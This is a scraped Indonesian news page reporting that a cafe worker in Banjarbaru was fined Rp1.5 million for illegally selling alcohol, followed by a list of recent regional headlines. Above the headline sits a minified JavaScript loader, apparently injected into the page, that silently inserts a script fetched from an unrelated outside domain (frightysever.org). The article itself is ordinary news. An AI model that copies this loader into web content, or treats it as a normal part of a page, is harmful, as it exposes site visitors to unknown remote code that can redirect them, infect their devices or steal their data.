(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta


KANALKALIMANTAN.COM, BANJARBARU – Pelaku usaha kafe yang kedapatan menjual minuman keras (miras) disidang tindak pidana ringan (tipiring) di Pengadilan Negeri (PN) Banjarbaru, Kamis (2/11/2023) siang.

Seorang wanita berinisial DD sekaligus staf di kafe tersebut didenda Rp1,5 juta dengan ketentuan apabila denda tidak dibayarkan harus mengganti dengan kurungan selama 10 hari.

Kasi Opsdal Satpol PP Kota Banjarbaru, Yanto Hidayat mengungkapkan, DD menjalani sidang sendiri karena menjual minuman beralkohol ilegal di Kota Banjarbaru.

Baca juga: Tiga Lelaki Rudapaksa MY di Pantai Aluh Bulan Kotabaru

“Hasil persidangan menyatakan terdakwa DD telah terbukti secara sah dan meyakinkan bersalah karena melanggar Perda Nomor 5 tahun 2006 tentang minuman beralkohol dilarang untuk dijual,” katanya.

Yanto mengungkapkan razia pertama itu berlangsung pada Rabu (25/10/2023) malam. Petugas menyisir kafe yang beralamat di Jalan Trikora di seberang Rumah Sakit Idaman Banjarbaru yang ditengarai menjual miras.

Hasilnya, didapati ratusan botol miras yang diamankan sebagai barang bukti, dengan kesepakatan yang diperoleh bahwa pihaknya tidak lagi menjual miras.

Baca juga: Kalsel Tertinggi Kelima Indeks Kerawanan Kampanye Pemilu 2024

Namun, hal itu juga tidak memberikan efek jera bagi pelaku usaha, yang mana kafe tersebut kembali kedapatan menjual miras saat diperiksa oleh Dinas Pemuda, Olahraga, Budaya dan Pariwisata (Disporabudpar) Banjarbaru pada Jumat (27/10/2023).

Karena masih melanggar Perda Nomor 05 Tahun 2006 tentang larangan minuman beralkohol, Pemko Banjarbaru kemudian mengeluarkan surat peringatan pertama (SP 1) keesokan harinya, Sabtu (28/10/2023).

Baca juga: Hari Pangan Sedunia, Wali Kota Banjarbaru Distribusikan Bantuan Beras dan DKP3 Gelar Pasar Murah

Usai menyita hingga SP 1, petugas Satpol PP kemudian membawa kasus ini sampai ke pengadilan untuk diputuskan.

Sementara itu, bangunan kafe yang diberi nama Kafe Avatar itu terpantau pada Kamis malam (2/11/2023) tertutup rapat. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

6 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

8 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

13 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

16 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

18 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.